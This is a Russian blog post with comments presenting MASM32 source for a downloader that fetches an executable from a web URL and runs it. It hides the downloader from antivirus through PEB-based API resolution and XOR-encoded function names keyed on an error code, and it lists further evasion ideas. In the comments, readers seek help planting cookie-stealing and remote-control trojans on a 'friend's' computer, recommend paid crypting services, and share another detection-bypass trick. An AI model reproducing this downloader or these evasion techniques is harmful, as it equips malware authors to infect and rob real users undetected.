На днях лень было заниматься чем-то сложным, поэтому решил заняться трендовым нынче направлением - обманом антивирусов. Сейчас статей типа "апходим мегакрутой онтевирус" в том же журнале "Хакер" развелось немеряно, причем способы обхода антивирусов авторы выбирают наиприметивнейшие: банальное шифрование строк статическим ключом, добавление формальных задержек (Sleep) и прочие вещи, вводящие в заблуждение только самые недалекие антивирусы. Представьте: автор пишет херню на 3-4 страницы, размазывая на них анализ своего мегавируса тремя антивирусами, и в итоге даже не способен обойти все из выбранных антивирей, а получает за это 5000 рублей. Несправедливо, тем более времени на написание такой статьи необходимо совсем немного, часа два!
Итак, я потратил около часа на то, чтобы написать программу, скачивающую из интернета exe-файл и сразу запускающую ее. Удалось обойти антивирусы Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Скорее всего, и другие бы ничего не заметили, просто не проверял. А антивирусы из списка выше даже не пикнули, когда запускался файл, скачанный только что из интернета.
Сразу скажу - я приведу не только тот способ, которым воспользовался в своей программе, но и некоторые идеи по обходу, которые я не проверял, но которые вполне могут быть на руку (и это не шифрование строк простым xor'ом со статическим ключом).
Я выбрал язык assembler и компилятор MASM32. На ассемблере удобно можно творить беспредел, в отличие от других языков. Итак, сначала моя программа приняла такой вид:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm uselib kernel32, user32, urlmon, shell32 .code start PROC invoke URLDownloadToFile, 0, chr$("http://kaimi.io/hello_world.exe"), chr$("hello_world.exe"), 0, 0 invoke ShellExecute, 0, chr$("open"), chr$("hello_world.exe"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start |
Конечно, она была удалена моим антивирусом сразу после сборки. Еще бы - подряд идут две самые глупые и палевные функции - URLDownloadToFileA и сразу за ней ShellExecuteA. Но! Я не собираюсь использовать другие функции, я собираюсь надрать антивирусам задницу, используя именно эти простейшие, дабы показать, насколько у нас по-прежнему несовершенна антивирусная защита.
Первое, что мне пришло в голову - скрыть имена этих функций из таблицы импорта и искать их адреса хитрым образом через PEB (это недокументированная структура Windows, которая выдается каждому процессу системы и содержит массу полезной информации, я когда-нибудь напишу про нее статью, а пока что можете поискать описание на ntinternals). Мне ничто не мешало это сделать, тем более, я и макросы для вызова функций без использования таблицы импорта не так давно писал. Что ж, воспользуемся ими:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include no_import.asm uselib kernel32, user32 .code start PROC noimport_invoke_load chr$("URLDownloadToFileA"), chr$("urlmon.dll"), 0, chr$("http://kaimi.io/hello_world.exe?12"), chr$("hello_world.exe"), 0, 0 noimport_invoke_load chr$("ShellExecuteA"), chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.exe"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start |
Вкратце: через PEB мы ищем адрес ядра (kernel32.dll), парсим его таблицу экспорта до тех пор, пока не найдем функцию GetProcAddress, а с ее помощью получаем адрес функции LoadLibraryA. Этих двух функций нам вполне достаточно для получения адресов всех необходимых нам функций в любых библиотеках. Теперь у программы всего один импорт - ExitProcess, его я вызвал явно, как и в первом варианте. После этого NOD32 сразу посчитал файл легальной программой и даже дал ему исполниться! Но вот Dr.Web продолжал определять программу как Trojan.Downloader. "Неужели они умеют эмулировать PEB?", - подумал я. Но не тут-то было, они, по всей видимости, просто считали, что если в программе есть строки URLDownloadToFileA и ShellExecuteA, то это вирус!
Давайте их зашифруем. Только зашифруем так, как это нужно делать, чтобы только на реальной машине они расшифровывались без проблем. Воспользуемся малоизвестной WinAPI-функцией, о которой антивирус, скорее всего, ничего не знает:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include no_import.asm uselib kernel32, user32 .code string_coder PROC data:DWORD LOCAL buf[16]:BYTE invoke lstrlen, data mov esi, data mov edi, eax next_sym: .if edi > 0 invoke SetLastError,0 invoke QueryDosDevice, chr$("C:"), addr buf, 5 .if eax == 0 invoke GetLastError and al,0Fh dec al xor byte ptr [esi],al inc esi dec edi jmp next_sym .endif .endif mov eax, data ret string_coder ENDP start PROC LOCAL funcname:DWORD noimport_call_prepare .data fname db "\[EMf~gefhm]fO`elH",0 .code mov funcname, FUNC(string_coder,offset fname) noimport_invoke_load funcname, chr$("urlmon.dll"), 0, chr$("http://kaimi.io/hello_world.exe?12"), chr$("hello_world.exe"), 0, 0 mov funcname, FUNC(string_coder,chr$("ZaleeLqlj|}lH")) noimport_invoke_load funcname, chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.exe"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start |
А теперь по порядку. Добавилась процедура string_coder, принимающая единственный параметр - указатель на строку, которую необходимо расшифровать или зашифровать. Так как я использую операцию xor для шифрования, функция обратима: прогнали ей один раз строку - получили зашифрованную, прогнали второй - расшифровали. Но я не использую статический ключ шифрования, я, как уже и сказал, воспользовался функцией QueryDosDevice, которая позволяет получить некоторую информацию о желаемом диске. Вся фишка тут в том, что я передал ей вполне легальные параметры, но вот размер буфера очень ограничил (последний параметр функции - 5 байтов, а этого явно мало для записи целой длинной строки с информацией). А это значит, что функция вернет ошибку (0), и дальше я проверяю это. Но и это еще не все - после такого обращения к функции последняя ошибка будет выставлена в ERROR_INSUFFICIENT_BUFFER, о чем антивирус вообще едва ли знает, и именно это значение (после некоторых преобразований, чтобы зашифрованный вариант был текстовым, как и оригинальная строка) я и использую для шифрования строк. В остальной части программы ничего не поменялось, за исключением того, что теперь я сначала расшифровываю зашифрованные строки и только после этого вызываю сами функции. Теперь у меня и импорты менее приметные стали - используются штатные функции SetLastError, GetlastError, QueryDosDevice и ExitProcess.
Теперь программа не то что не определяется, но и даже спокойно выполняется под контролем всех антивирусов, которые я перечислил в начале статьи - Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и Avast. Такими результатами вполне можно гордиться. Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32, подгруженное всегда в любой процесс Windows (или просто не знает ничего о функции QueryDosDevice, или вообще и то и то одновременно).
Скорее всего, после написания этой статьи такой способ быстро будет обнаруживаться по сигнатурам, но это ведь не мешает немного изменить код и добиться прежнего результата?
А теперь еще несколько мыслей по обходу, которые могут сработать (и точно работают со многими антивирусами). Эти способы совершенно не новы, но это не делает их устаревшими и неактуальными.
1. Запуск программой самой себя с некоторыми параметрами командной строки, обработка параметров и выбор пути дальнейшего действия в зависимости от переданных параметров, либо же использование переданных параметров для расшифровки некоторого блока кода, который не нравится антивирусам.
2. Использование сообщений Windows. В принципе, все как и в первом пункте, просто следует слать себе некое сообщение (либо пользоваться стандартными сообщениями Windows) и использовать в обработчике полученное сообщение как ключ шифрования либо как маркер для выбора дальнейшего пути исполнения.
3. Использование в коде большого количества малоизвестных WinAPI-функций (что, впрочем, я сделал в этом примере), применение возвращенных значений или кодов ошибок в дальнейшей логике программы.
4. Запись собственного кода в некое место штатной API-функции в памяти (это, естественно, затронет только наш процесс, т.к. DLL с API-функциями грузятся в каждый процесс отдельно), а затем ее вызов.
5. Для вирусов типа "скачай из интернета плохой exe-файл - запусти его" можно вместо URLDownloadToFile использовать, например, сокеты либо еще какие-то сетевые API Windows - и количество антивирусов, определяющих такую малварь, сразу уменьшится раза в полтора-два.
Если немного подумать, можно и другие способы привести и реализовать, но этих пока хватит.
Собранный исходный код я не выкладываю, если кого-то заинтересует тема, сможет собрать его и сам. И помните: материал приведен лишь с той целью, чтобы показать слабые места существующих современных антивирусов, а не сподвигнуть вас на написание тонн вирусов - за это нести ответственность будете вы сами.
Спасибо, отличный материал.
+1
Спасибо Было интересно
наипримИтивнейшие
можно получить полный исходник?
мыло в профайле
заранее благодарен
Здесь полный исходник, читать внимательнее надо. Макросы из предыдущей статьи, на два поста ниже, ссылка в этой статье есть.
dx, планируешь ли ты продолжать цикл статей про MASM32?
У меня сейчас незаконченный цикл про формат PE, и в итоге написание упаковщика. По MASM32 не знаю, что еще писать. Вот, такие статьи, как эта, получаются. Если есть идеи, можешь предлагать.
Например, напишите про работу с MBR, многим будет интересно. А вообще, по MASM32 есть много интересных тем, но иногда то, что актуально одному, совершенно не интересно другим. Лично я бы хотел увидеть какие-то материалы по работе с сетевыми протоколами.
Можно также (по Масм): пример создания модульного приложения (т.е. дополнительные модули к программе, как их подключать и т.д.;какие-то интересные макросы|функции со стандартного пакета масм (например, для работы со строками, я вот только с вашего блога узнал про uselib и chr$); таже многопоточность (пример грамотного использования); можно про какие-то не особо популярные апи (вида с ntdll.lib).
Но опять же, это все мое имхо, а кто-то второй прочитает, и скажет, что ему такие статьи нафиг не интересны. Третий же скажет что вообще, давно пора написать про фконтактик, а не про какие-то машинные коды.
2 flisk - по созданию программ для Windows, многопоточность и прочее лучше узнавать из толстых книг, потому что в рамке статьи всего не возможно охватить.
Почитай Рихтера, например.
Если ты знаешь ассемблер тебе не трудно будет перевести все примеры на этот язык.
По работе с сетевыми протоколами мне понравилась книга Йона Снейдера "эффективное программирование TCP/IP" этого тебе хватит выше крыши для начала и вообще знания о сетевом программирование, но книга старая и не охватывает современное сетевое программирование под UNIX системы, но тебе это и не надо.
В общем если тебя интересуют, какие либо проблемы - лучше охватить их полностью прочитав пару толстых книг, чтобы после копипасты кода из статьи у тебя не возникало вопросов.
никто из антивирусов не обратил внимание на то, что ты в инет лезешь?
Из вышеперечисленных - нет. Дело даже не в инете, а в скачивании бинарника с интернета и его запуске сразу.
Пример не компилируется
LINK error LNK2001 unresolved external symbol _WinMainCRTSStartup
Ты в масме собираешь, вообще говоря? Какие флаги компиляции и сборки? Масм никогда не требовал функцию winmain, и уж тем более crt...
Спасибо, очень полезно и познавательно. Планируете ли написать статью про шифрование кода?
Делал когда-то такое, но писал на делфи правда. Шифровались некоторые куски кода, которые вызывали негодование у антивирусов. В результате последние курили в сторонке. Проверял на докторВеб и каспере, с другими, думаю, то же самое. При сигнатурном анализе, естественно, они ничего не находили, но проблема остается в том, что при загрузке в память код расшифровывался. И там уже находился в открытом виде. Так что такой метод тоже не панацея, но в совокупности с остальными может дать хороший результат.
А вообще только что поговорил с одним очень опытным программистом, он говорит что основная проблема - что делать дальше. Припустим что мы запустили скачанный файл. Но при попытке что-то сделать, скажем, записаться в реестр, антивирь успешно это перехватит, так как он контролирует почти весь SSDT.
Я здесь ставил вопрос только скачать-запустить файл из интернета. А дальнейшее уже, конечно, хорошими проактивками будет палиться, методы там уже более сложные.
Про шифрование кода писать не планирую, однако сейчас веду цикл статей про формат PE, в итоге написание упаковщика. Упаковщик от криптора базово мало чем отличается.
Как интересную тему могу подсказать - исследование антивирусов, т.е. именно конкретные способы детектирования на примерах, а не в общих словах.
Я не реверсер, а тем более не способен реверсить такие сложные продукты, как антивирусы.
Я вот этом не селен, ну если бы появился полиморфный криптор здесь , я бы очень был бы рад :)
Не был бы, если бы он тут появился, он бы на следующий день палился всеми антивирусами :3
Отличная статья. А криптор уже написан, где можно взглянуть-?
Статья старая, возможно, подобные приемы применять уже сложнее. Криптор не написан, есть упаковщик (даже два разных), они есть в этом блоге, но они тоже уже несколько устарели.
Криптор время от времени "чистить" надо, чтобы не детектили. Вряд ли авторы сайта будут этим заниматься регулярно (это время да и незачем это им). А самостоятельно, без знаний ЯП вряд ли что-то сделаешь.
Красава братишка) так держать
отлична статья, будем ждать еще чего-нибудь интересного
Хвалю, нашёл для себя кое-что интересное, добавил в закладки. Жду отдельную статейку про PEB
Как всегда чисто и красиво. Статья сочная )))
Есть предложение писать названия функций по примеру названий WinAPI функций.
Наверное так будет понятнее какая ф-ция локальная или глобальная
Большое спасибо, интересно.
Напишите, пожалуйста, статью о том, как правильно хранить пароли.
Понятное дело в голове, но а если их 2-3 сотни..
Также было бы очень интересно узнать Ваши мысли о том, как максимально защитить себя от возможности схватить вирус.
О хранении большого количества паролей не задумывался как-то, надобности не было. Возможно, стоит завести некий шифрованный контейнер (архив rar или шифрованный раздел диска) с одним сложным паролем, а там хранить уже все остальные.
Чтобы защититься от вирусов максимально, надо ставить всегда последние обновления для Windows и используемого веб-браузера. Если совсем паранойя, можно отключить в браузере Flash, PDF-плагины, JavaScript. Ну и, конечно, не запускать сомнительные файлы, либо предварительно их проверять на каком-нибудь сервисе типа VirusTotal.
Грамотно использовать UNIX :) запущенной на виртуальной машине из под песочницы
http://www.freebsd.org.ru/handbook/securing-freebsd.html
Советую использовать программу keepass
Нелепица?
1)Этот код надо как-то запустить... Случаем не из файла, который еще надо как-то подсунуть? Так ведь можно сразу подсунуть тело виря и не надо заморачиваться лишним гемором. Хотя, порой, использование загрузчика оправдано, так что пусть будет, но...
2) А кто сказал, что скачанный EXE запустится? Ведь его перед запуском проверит антивирь! И вот тут-то его и придется обходить! А это вопрос совсем не этой статьи! Так что за громким названием - пустышка. Подсунуть EXE можно и другими, более простыми способами, но ОБХОДОМ антивиря тут и не пахнет)
P.S. Кстати, если дать ссылку на запароленный архив (с паролем) и пообещать, что программа внутри сделает ВСЕ_ВСЕ_ВСЕ - ее скачают немало народа. И откроют таки EXE-шник внутри! Это тоже обход антивиря??? Аха-ха-ха!!!
1. И? Целью было показать некий небольшой вариант кода, который позволит программе скачать нечто, чтобы при этом антивирусы не ныли.
2. И что из этого? Цель статьи см. пункт 1.
Если написать некий простой код, в котором будет исключительно скачивание файла и его запуск, то:
1. Многие повесят на него ярлык типа trojan.dropper
2. Проактивная защита может возмутиться
Приведенный вариант кода является чистым в глазах АВ и проактивка каспера у меня молчала к примеру. Доступно объяснил?
>>1)Этот код надо как-то запустить... Случаем не из файла, который еще надо как-то подсунуть?
Лолшто?
"2) А кто сказал, что скачанный EXE запустится? Ведь его перед запуском проверит антивирь? .* ОБХОДОМ антивиря тут и не пахнет).
Аааа мой череп дробится под ударами фейспальмов.
>>Аха-ха-ха!!!
Без комментариев..
To Kaimi:
Лучше текущее название сменить на
«Обходим все популярные антивирусы, или скачиваем картинку из интернета без алармов», + заменить exe на jpg, смысл тот же дебильных вопросов уменьшится, негоже бисер перед свиньями метать.
Статью я писал. Для винды один фиг, че запускать через NtCreateProcess (а ShellExecute именно туда пробрасывается при запуске .exe), расширение не важно. Так что антивирусы все равно будут проверять скачанную картинку как исполняемый файл перед запуском.
ТС молодчик,красиво и более менее правдоподобно.
А эт http://kaimi.io/2011/11/antivirus-trolling/comment-page-1/#comment-12021 97% писанина какой нибудь мало-мыслящей школоло,таких парой жалко...
В топике показан тип обход антивирусных программ тупым шифрованием исполняемых в последующем команд,что мешает тоже самое сделать и с другим более едким кодом?
Да ни чего,можно переписать даже давно всем палщимися боты или какие другие вирусы,тупа шифруя команды,вообщем особого труда не составит,как вариант очень даже годен на мой взгляд.
________
В статье упоминалось про сокеты,ну вот с ними на Windows 7 туговато,если их использовать то приложение должно иметь права как минимум администратора,иначе тупа приложение не выполняется или даёт сбой в ходе выполнения,не знаю у кого как получалось,или может у меня такие кривые руки,ну пробовал как то писать даже простой снифер на сокетах используя WinAPI,получалось что прога работала только если запускать от имени админа.
Честно я не давно начал интересоваться программированием,когда учился не до этого было(а жаль много упустил),а сейчас как то вот загорелось и вот такие бложики\сайты очень даже выручают и многое объясняют.
Авторам СПС.
Добавлю в закладки,думаю почитать всегда найдётся.
В качестве идеи к статье,не помешала бы подобная про обход UAC,в принципе так же интересно было бы научится на время глушить популярные антивирусы или программно добавлять в доверенные,что кстати было бы на мой взгляд более продуктивно,хотя возможно я и ошибаюсь.
Уважаемый сенсей! Дайте пожалуйста дружественного пинка идущему к познанию начинающему малвереписателю. Как я понял Вы создали Чудо-Downloader который будет тем засланным казачком-посредником, и при этом иметь легетивный вид у АВ.Всё дело в том, что я имею не глубокие познания в асме (осилил все 59 уроков Рикардо Нарвахи), а с masm32 познакомился вообще благодаря Вашей статье. Так вот вопрос подскажите, чтобы скомпилировалось в masm32 без ошибок что я должен сделать с макросами( сохранить их в папке BIN с каким именем и расширением, дописать что-то в код или настроить сам masm32?)
Сохранить макросы в любой папке, а потом просто подключить их к основной программа с помощью директивы include.
include no_import.asm
(если макросы лежат там же, где и сам код)
или
include путь\к\файлу\no_import.asm
dx, напиши плиз свою почту хотел с тобой лично пообщаться.
Со мной контакт - пм на форуме нашем.
Я новичок, многого в программировании не понимаю, я научился конструировать два трояна: первый - для отсылки куки на мой FTP; второй - для администрирования удалённого компьютера через клиент.
Хотелось бы загрузить и запустить их на компе "приятеля" не палясь антивирусу. Статью полностью прочитал но так и не понял как это можно осуществить. Нельзя ли кинуть мне на почту исходный код или саму программу?
Полный исходный код в статье приведен. Троянами я не занимаюсь, статья лишь показывает слабости антивирусов.
Ещё вопрос. Если этот код прописать в текстовом документе и сохранить в формате ЕХЕ, то работать будет? или только через MASM32?
Я не буду отвечать на этот вопрос, простите, мне надо под стол :DDDDD
Я уже писал, что только начинаю, и очень многого не знаю, ты ведь тоже когда-то были начинающим!
Конечно был, но я не задавал заведомо идиотские вопросы. Я читал книги, а потом и интернет, а не лез сразу на форумы/блоги/etc спрашивать у других то, что ищется за 30 секунд.
В интернете мало информации о том как обойти антивирь, а из того что есть, реально действующих способов вообще единицы... Пока что самый реальный способ что я нашел, находится в этой статье, но мне трудновато разобраться, поэтому я и задаю тупые вопросы.
Это все же не обход как таковой. Это скорее "обман" поведенческого анализатора. Да и программа может быть заблокирована каким-нибудь файрволлом, например.
На какой-нибудь относительно крупный файл с заделами для интерфейса и прочей фигней антивирус тоже вряд ли ругаться будет.
Файл у меня не большой 1-2м. но как сделать что бы его антивирь не запалил я так и не понял, я просто не умею MASMом пользоваться.
Вопрос скорее в том с чего его антивирус палит и как палит
Пишите малварь на сишарп. Плюсы:
1)где-то на дамаге был обзор, что аверы не умеют толком эмулировать нет фреймворк, будет сразу обход, без зиродей техник.
2)сишарп простой язык, его легче выучить, чем масм и винапи.
Не думаю, что человеку, который спрашивает, скомпилируется ли программа методом смены расширения файла ее исходника на EXE, нужно обходить антивирусную защиту...
Ну наверное если спрашиваю значит нужно, иначе не искал бы инфу.
UserXP, вы знаете какие-нибудь языки? Если нет, то следует выучить матчасть,иначе исходник/статья по обходу авера вам не поможет.
Лучше сделайте так - найдите/заплатит за услугу крипта, вот и будет вам сокрытие файла от аверов, причем безо всяких статей и языков.
Да, без знаний тематики или хотя бы языков программирования проще заказать у кого-то.
Да мне нужна не сама цель взломать определенный антивирь, а я хотел бы НАУЧИТСЯ это делать. Из языков я знаю паскаль и С++.
Если вы действительно знаете С++, то купите/скачайте книгу Джефри Рихтера "Windows via C++", прочитав которую будете иметь глубокие знания по винапи и работе винды. И сможете накодить на Си макросы, аналогичные тем, что в данной статье по Масм.
Имхо, человек, знакомый с программированием, не будет спрашивать, запуститься ли программа, если ее сорс переименовать в exe :)
Разве что, веб-программист, и то вряд ли.
Меня это тоже удивило, но с другой стороны, как же он написал те два трояна (для отсылки куки на FTP; для администрирования удалённого компьютера через клиент.)?
разве что на компонентах + не особо вникая в тему, что такое компиляция.
Или он нас так толсто троллит? :)
dx, ты угадал, я действительно больше веб-программист и привык что пишу команды в блокноте, меняю формат файла, и программа работает. А насчёт двух троянов, я их собрал через конструкторы. Повторюсь ещё раз, я только начинаю вникать во все тонкости программирования, и хочу многое узнать. Именно поэтому я задаю вопросы знающим и опытным людям, пусть и настолько тупые.Я уже понял насколько туп был мой вопрос, за это извиняюсь.
Хорошо, распишу ответ поподробнее.
Данный обход можно в принципе применить, только зная языки программирования. Либо писать полностью на MASM32, а потом компилировать, либо собирать с помощью MASM32 lib-файл с нужными вызовами функций через PEB (как в статье описано), а потом линковаться с этой либой из других языков, например, C++. Применить данный материал к готовому exe-файлу, скорее всего, не получится.
Можно посидеть-подумать и реализовать похожие макросы для языка C или C++ вполне. Но это опять-таки придется писать, готовое не применишь.
Может [b]dx[/b] что-то скажет иное, но я бы советовал учить матчасть. Системный кодинг это не веб, где можно скачать скрипт, что-то там поправить и вставить в цмс. Тут надо знать систему, понимать что и куда, тем более в таких вопросах, как обход аверов (обычно тут используются какие-то нестандартные извраты).
Да вы что, издеваетесь? Ну блин, ну dx! Что ему объяснять? Что он накодил?
Научился "конструировать" - скачал билдер троя типа пинча.
Видно же, что человек очень и очень далек от какого-либо кодинга (если конечно не считать кодингом "язык хтмл" и вывод на экран "хэлоу ворлд" в паскале.
Чувак, а ближайшие пару лет своей жизни ты проблему крипта решить не сможешь точно. В твоем случае - врятли когда-либо решишь своими силами.
Так что закажи сие удовольствие у криптовальщиков, стоит 15-20 уе. Живет крипт от 1 до 7 дней примерно.
>Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32
В большинстве случаев, их эмуляция вообще ограничивается конкретным набором действий вместо попытки сэмулировать весь код. Приведу забавный пример.
Пусть LoadLibrary и GetProcAddress используются "в открытую" и с их помощью получаем адреса URLDownloadToFileA и ShellExecuteA. Строки с именами упрятаны как в статье. Такой код палится KIS.
Теперь тупо возьмем адрес функции GetProcAddress (такого вида: 0х76d51222) и используем в коде. То есть вызовем GetProcAddress так:
mov eax, 76d51222h
push offset buf1
push h1
call DWORD PTR eax
Такой код уже не палится, хотя, казалось бы, никакого труда сэмулировать это. Даже OllyDbg, если сделать брейк на call'е, покажет имя ф-ии, на которую прыгаем. А ведь KIS считается одним из наиболее продвинутых аверов.
К слову сказать, так вызывать GetProcAddress никуда не годится, потому что такое смещение начала функции может быть только для какой-то конкретной системы, конкретного сервис пака и установленных апдейтов. От системы к системе смещения системных библиотек в адресном пространстве меняются, поэтому на это полагаться не стоит.
Да это ясно. С другой стороны, kernel32 не выгружается из памяти, поэтому не перемещается по крайней мере после загрузки ОС. Все сводится к получению его адреса - можно помимо PEB ковырять стек вниз, смотреть на адреса в SEH или топорно забрать адрес возврата, помещенный в стек при запуске программы.
Есть еще извращенный вариант. Нужно найти процесс в ring3 с правами PROCESS_VM_READ и прочитать его IAT, найти там элемент для kernel32, сходить туда и найти хэдер дллки. Все процессы используют ExitProcess (ну, тут я не совсем уверен), поэтому kernel32 всегда импортируется, однако процесс с доступном для чтения VM теоретически может не найтись. В таком случае его можно запустить самому, то есть добиться того, что стандартный загрузчик импортирует kernel32, а потом нестандартно его выкусить из IAT. Минус в сложности. Плюс в базонезависимости и в том, что это вообще никто не проэмулирует еще сто лет.
Всем добра.
Пытаюсь уже который день просто тупо закодировать строку и вывести её MessageBox-ом на экран, ничего не получаеться. Может напишешь код? Делов-то 5 минут!
Делов 5 минут, а делаешь ты несколько дней. Отсюда вопрос: оно тебе вообще надо?
Все материалы по программированию и сборке сорсов на MASM32 на блоге есть, было бы желание разобраться.
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32
String_coder PROTO :DWORD
.data
fname db "URLDownloadToFileA",0
buffer db 128 dup(?)
.data?
funcname dd ?
.code
start:
mov funcname,FUNC(String_coder, offset fname)
invoke wsprintf, offset buffer, chr$("Закодированное имя API-функции- %u "), funcname
invoke MessageBox, NULL, offset buffer, chr$("Info"), 0
invoke ExitProcess, 0
String_coder PROC strok:DWORD
LOCAL buf[16]:BYTE
invoke lstrlen, strok
mov esi, strok
mov edi, eax
next_sym:
.if edi>0
invoke SetLastError, 0
invoke QueryDosDevice, chr$("C:"), addr buf, 5
.if eax==0
invoke GetLastError
and al,0Fh
dec al
xor byte ptr[esi],al
inc esi
dec edi
jmp next_sym
.endif
.endif
mov eax, strok
ret
String_coder ENDP
end start
Да подскажи-же почему у меня строка в цифру кодируется, или зачем тогда вообще тему выставлял? Не все же такие молодцы, а все хотят равнятся на тебя!
Строка в цифру? Я не понял, что не так. И у тебя в коде нет ни одной закодированной строки.
Или ты хочешь закодировать имя и получить закодированный вариант? Ну так ничто не мешает в результате вообще получиться не тексту, а какому-нибудь бинарному говну, которое через мессаджбокс не выведешь. Впрочем, ничто не мешает изменить алгоритм кодирования.
Я и спрашиваю по этому. Не могу сам разобраться как ты имя апишки закодил в квазикозябрины, и потом всё работает зэргут? У меня какое-то гамно и получается!
А ты пробовал сначала выучить немного синтаксис ассемблера интеловского, потом внимательно прочитать статью, а потом уже городить что-то? Я не могу тебе помочь, потому что ты не знаешь вообще ничего, зацепиться не за что.
Ну зачем ты так dx? Я рад за тебя, что ты умный чувак и знаешь в совершенстве "синтаксис ассемблера интеловского"!Тут таких как я 95% ,а то и больше.И не поленился мне целую тераду написать, мог обойтись тремя словами-"посмотри дамп OllyDebuger" я бы понял.Уже и сам разобрался и сложил твой "ребус" в кучу. Не ошибается тот, кто ничего не делает, а ты если статью выкладываешь в паблик ,то потрудись её таким как я разжевывать, или не выкладывай вообще и радуйся сам -какой ты молодец!Ну а вообще спасибо, потрудился ты знатно, у меня всё скомпилировалось, правда не проверил работает ли, надо вбросить что-то на хост и посмотреть!Буду тебе очень признателен если напишешь какой-нибудь скрипт на PHP, чтобы при нажатии на ссылку в файле HTML с моего хоста грузился и устанавливался .exe файл.
А ты знаешь такое понятие, как "уровень сложности статьи"? Так вот, уровень этой статьи явно выше, чем "для полных нулей". И разжевывать я ничего не буду, я пишу так, как считаю нужным, и отвечаю на адекватные вопросы. А когда мне пишут "а сделай все за меня", это несерьезно, извините.
"Грузился и устанавливался exe-файл" - вообще эпично, ты предлагаешь мне для тебя сделать сплоит, который будет пробивать защиту браузеров. Молодец.
Уважаемый, КРАЙНЕ интересует даже не сам брутфорс RDP, а посылка логина и пароля. Ну то есть как брутфорс посылает на сервер логин и пароль, API-функция есть какая или что? У вас тут есть сканер IP адресов но это не то, как вы сами понимаете.
Из надыбанногго: вот такой списочек API-функций
http://msdn.microsoft.com/en-us/library/windows/desktop/aa383464%28v=vs.85%29.aspx
но в том-то и дело, что во-первых во всём инете шаром покати, ни одного примера, а во-вторых, некотоые функции просто-напросто отсутствуют, (например у меня в XP) и отстутсвует главная WTSConnectSession
Как в таких осбтоятельствах работает брут у меня на компе- загадка (но его палит антирвиь)
А уж с многопоточностью и перебором я справлюсь сам! СПасибо!
Поищите на васме, вроде видел там где-то работу с RDP.
Dx я немного уточню, "не для меня лично", а для многих сотен людей которые заходят к тебе!!!! на сайт, читают твои !!!! статьи и может быть всё-таки не совсем "полные нули"!Ты же эту статью не для меня писал!?
К слову DX! Уже всё палится АВ, попробовал зашифровать строку статическим ключом- всё тоже самое.Выход оказался до боли прост, разбил выводы функций на две программы, потом при помощи простенького bat файла сложил их вместе и прогой Bat To converter собрал в один ехе, не палится и главное пашит и без всяких извратов!
Учитывая сколько "начинающих малваре кодеров" со времени написания стотьи скомпилили и прогрузили эту идею, ничего удивительного что палится.
А многие вопросы отпадут, если изучить матчасть.
Поменял ф-ию на ключ. Пискнуло только при включенном анти-Ха-ре в К6fWW.
Это правда что эту статью не вы написали, а некий data777?
Это ваша статья?
Ну да, я уже привык, что многие присваивают разные мои статьи. Как видите, я тут и на все вопросы отвечаю, да и вообще, много чего понаписал. А некоторые неблагодарные читатели зачем-то растаскивают.
Автор будет верным ассемблеру, ибо это просто метка на машинный код.
Если уж директивы использовать, то для этого есть ЯВУ.